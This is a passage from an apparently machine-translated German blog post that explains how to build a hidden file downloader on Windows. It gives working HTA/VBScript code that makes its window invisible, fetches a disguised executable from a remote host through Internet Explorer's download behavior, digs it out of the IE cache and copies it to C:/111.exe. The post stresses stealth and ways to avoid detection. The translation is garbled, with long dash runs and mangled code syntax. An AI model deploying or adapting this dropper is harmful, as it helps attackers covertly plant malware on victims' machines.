1. Lassen Sie uns zuerst über zwei relativ neuartige VBS -Downloader in diesem Blog sprechen. Einer wird mit der CDO.Message -Komponente und der andere unter Verwendung von Microsoft.xmldom hergestellt. Siehe http://www.jb51.net/article/15506.htm. Einer dieser beiden Downloader ist problematisch zu verwenden und muss die Exe im Voraus konvertieren. Zweitens wird cscript.exe während der Verwendung auf das Netzwerk zugreifen, was nicht zu versteckt ist. Die zweite ist, dass einige Maschinen diese beiden Komponenten nicht haben und adodb.stream verwenden, sodass einige Nachteile vorhanden sind.
2. Lassen Sie uns über den Downloader von Lake2 http://blog.csdn.net/lake2/archive/2007/05/08/1600580.aspx sprechen. Dieser Downloader ist ziemlich gut, aber es gibt Probleme. Zum einen ist ein IE -Fenster geöffnet, wenn ein anderer Browser wie 360 installiert ist und der von der Registrierung gelesene IE -Cache -Standort möglicherweise nicht korrekt ist.
3. Wie aktualisieren wir diese Mängel? Es gibt immer noch einen Weg. Wir verwenden HTA, um dies zu schreiben, was relativ selten ist. HH.exe wird im Allgemeinen beim Zugriff auf das Netzwerk veröffentlicht. Wie viele Schwierigkeiten sollten durch das Schreiben dieses Downloaders gelöst werden:
(1). HTA unsichtbar machen ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(2). Machen Sie die Befehlszeile der HTA empfangen Parameter ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(3). Rufen Sie nicht alle in der ersten und zweiten Elemente genannten Komponenten an über----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(4) vorübergehende Position des .ie -Cache ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
(5) Wir rufen keine an Komponente ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4. Code (schreiben Sie die Parameter direkt in HTA)
Der Code ist wie folgt:
<script Language = VBS>
Fenster.Moveto 4000,4000
Fenster.Resizeto 0,0 'Machen Sie HTA unsichtbar
Setzen Sie objshell = createObject ("wscript.shell") 'hta kann direkt wscript.shell aufrufen, kann aber wscript.createObject ("Wscript.Shell" nicht aufrufen.
Downpath = objshell.expandenenvironmentStrings ("%userProfile%") & "/lokale Einstellungen" 'Erhalten Sie den Download -Pfad gemäß der Umgebungsvariablen
Setzen Sie xml = document.createelement ("xml") 'Das Standardverhalten des Erstellens des XML -Elements Call IE
xml.addBehavior ("#Standard#download")
xml.async = 0
xml.load ("http://192.168.0.10/xx.htm") 'Bitte ändern Sie den Namen des EXE in den Speicherplatz. Wenn Sie es mit FTP -Software hochladen, funktioniert dies möglicherweise nicht. Es ist besser, es einfach anzuziehen.
ShowAllFile (Downpath)
Sub showAllFile (Pfad) 'Reisen und Suchen verwenden Sie direkt den Code von Lake2
FindFileName = "xx [1] .htm" 'Dies ist auch das, was Sie ändern müssen. Wenn das obige xx.htm ist, ist hier xx [1] .htm
Setzen Sie fso = createObject ("scripting.filesystemObject").
Setzen Sie F = fso.getFolder (Pfad)
Setzen Sie FC = F.SubFolders
Für jeden F1 in FC
Wenn fso.FileExists (Path & "/" & f1.name & "/" & findFileName) dann
Fso.copyfile path & "/" & f1.name & "/" & findFileName, C: /111.exe "'retten auf c: /111.exe und kann bei Bedarf geändert werden
'document.write "[+] Download Erfolg!"
Ende wenn
ShowAllFile Path & "/" & f1.name
Nächste
Fso = nichts setzen
Ende sub
Fenster.CLOSE
</script>
Die Verwendung ist: Setzen Sie exe wie xx.exe auf den Raum und doppelklicken Sie dann auf diese HTA.
5. ein weiterer Code (Befehlszeilenparameter übergeben)
Ich persönlich denke, der Code im vierten Teil ist besser, ändern Sie ihn einfach und verwenden Sie ihn. Wenn die Befehlszeilenparameter aufgerufen werden, habe ich festgestellt, dass das HTA -Fenster noch angezeigt wird und erst nach dem Herunterladen geschlossen wird. Dies ist also nicht sehr gut. Code: